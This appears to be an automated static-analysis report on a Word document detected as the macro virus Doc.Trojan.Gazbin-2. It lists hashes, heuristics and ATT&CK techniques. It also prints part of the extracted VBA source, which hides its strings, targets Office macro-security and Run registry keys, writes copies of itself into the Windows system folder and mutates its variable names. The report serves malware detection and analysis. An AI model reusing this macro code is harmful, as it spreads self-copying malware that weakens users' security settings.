Doc.Trojan.Gazbin-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 f42f53b5aa975d59…

MALICIOUS

Office (OLE)

41.5 KB Created: 2003-07-16 00:01:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 7754bc6f781975d11bb96fbdb25aa353 SHA-1: 194cbefeaf2af43fdb3ea783c2c11c29b90507b8 SHA-256: f42f53b5aa975d59c6cdfed70be1fa1f591062c8cf251b181acc23b41ab31184
148 Risk Score

Malware Insights

Doc.Trojan.Gazbin-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros with an AutoClose marker and an AutoOpen execution token that uses the Shell command, indicating an attempt to execute code. The macro constructs registry paths and filenames such as 'HKCU\Software\Microsoft\Office\10.0\Word\Security' and 'C:\Windows\system\Gazbin.vbs', suggesting it aims to establish persistence or drop a secondary payload. The ClamAV detection 'Doc.Trojan.Gazbin-2' further supports the malicious nature of this document.

Heuristics 5

  • ClamAV: Doc.Trojan.Gazbin-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gazbin-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10084 bytes
SHA-256: ac50c4f5aec6f428178d7ba831ef76c25eb077cf0cb12043f81b6055fe7a67e2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Private Sub ¨–Č™¤É°ž�­ŞĄ±ÉŻ�() 'IK
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_VisB = "Vi" & "su" & "al" & " Ba" & "sic"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_CuZt = "Cu" & "st" & "om" & "ize" & "..."
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_TooL = "To" & "ol" & "s"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_MaCr = "Ma" & "cr" & "o"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Name = "Ga" & "zB" & "in"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_97 = "HK" & "EY_" & "CUR" & "REN" & "T_U" & "SER" & "\S" & "of" & "twa" & "re\" & "Mic" & "ros" & "oft" & "\Of" & "fic" & "e\8" & ".0" & "\W" & "ord" & "\Op" & "ti" & "ons"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Reg = "HK" & "EY_" & "CUR" & "REN" & "T_U" & "SER" & "\S" & "of" & "twa" & "re\" & "Mic" & "ros" & "oft" & "\Of" & "fic" & "e\9" & ".0\" & "Wor" & "d\" & "Sec" & "uri" & "ty"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_XP = "HK" & "EY_" & "CUR" & "REN" & "T_U" & "SER" & "\S" & "of" & "twa" & "re\" & "Mic" & "ros" & "oft" & "\Of" & "fic" & "e\10" & ".0\" & "Wor" & "d\" & "Sec" & "uri" & "ty"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_run = "HK" & "EY_" & "CUR" & "REN" & "T_U" & "SER" & "\S" & "of" & "twa" & "re\" & "Mic" & "ros" & "oft\" & "Wi" & "nd" & "ows" & "\Cu" & "rren" & "tVer" & "si" & "on\" & "Run"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_ACVB = "Ac" & "ces" & "sVB" & "OM"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_LVL = "Le" & "v" & "el"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_EMVP = "En" & "abl" & "eMac" & "roVir" & "usPro" & "tect" & "ion"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Sys = Environ("Wi" & "nd" & "ir") & "\s" & "ys" & "tem" & "\Ga" & "zbi" & "n.s" & "ys"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_vbs = Environ("Wi" & "nd" & "ir") & "\s" & "ys" & "tem" & "\Ga" & "zbi" & "n.v" & "bs"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Chk = "Pri" & "vat" & "e S" & "ub " & "¨–Č™¤É°ž�­ŞĄ±ÉŻ�" & "() " & "'I" & "K"
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One = ((VBA.Tan(VBA.Rnd * ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null) + VBA.Fix(VBA.Rnd * ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null)) * ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null) + VBA.Fix(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null + 1)
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null = (VBA.Sin(VBA.Rnd * False) + VBA.Tan(VBA.Rnd * False)) * False
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Two = ((VBA.Sin(VBA.Rnd * ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One) + VBA.Cos(VBA.Rnd * ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One)) * ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null) + VBA.Fix(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One + ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One)
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Hone = &H1
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_HNul = &H0
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_KF11 = wdKeyF11
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_KAlt = wdKeyAlt
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_KF8 = wdKeyF8
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_NCV = msoBarNoChangeVisible
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_NCZ = msoBarNoCustomize
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_WDA = wdAlertsNone
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_ECK = wdCancelDisabled
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code = ThisDocument.VBProject.VBComponents(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One).CodeModule.lines(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One, ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_One & ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null & ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null & ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Null)
Randomize Timer

For ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_I = 1 To 10 + VBA.Int(VBA.Rnd * 30)
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_NewVar = ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_NewVar & Chr(VBA.Int(VBA.Rnd * 75) + VBA.Int(129))
Next

Do While InStr(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code, "¨–Č™¤É°ž�­ŞĄ±ÉŻ�") <> 0
¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code = Mid(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code, 1, InStr(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code, "¨–Č™¤É°ž�­ŞĄ±ÉŻ�") - 1) & ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_NewVar & Mid(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code, InStr(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code, "¨–Č™¤É°ž�­ŞĄ±ÉŻ�") + Len("¨–Č™¤É°ž�­ŞĄ±ÉŻ�"))
Loop

Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Adoc = ActiveDocument
Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Norm = NormalTemplate
Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Mcon = MacroContainer
Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_syst = System
Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_CVB = CommandBars(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_VisB)
Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_CTL = CommandBars(¨–Č™¤É°ž�­ŞĄ±ÉŻ�_TooL)
Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Opt = Options
Set ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_App = Application

Open ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Sys For Output As #1
Print #1, ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_code
Close #1

Open ¨–Č™¤É°ž�­ŞĄ±ÉŻ�_vbs For Output As #1
Print #1, "O" & "n " & "erro" & "r re" & "sume ne" & "xt"
Print #1, "¨–Č™¤É°ž�­ŞĄ±ÉŻ�_Nu" & "ll =" & " (Si" & "n(R" & "nd *" & " Fal" & "se)" & " + " & "vba.tan" & "(Rn" & "d *" & " F" & "al" & "se)" & ") * " & "F" & "alse"
Print #1, "¨–Č™¤É°ž�­Ş
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.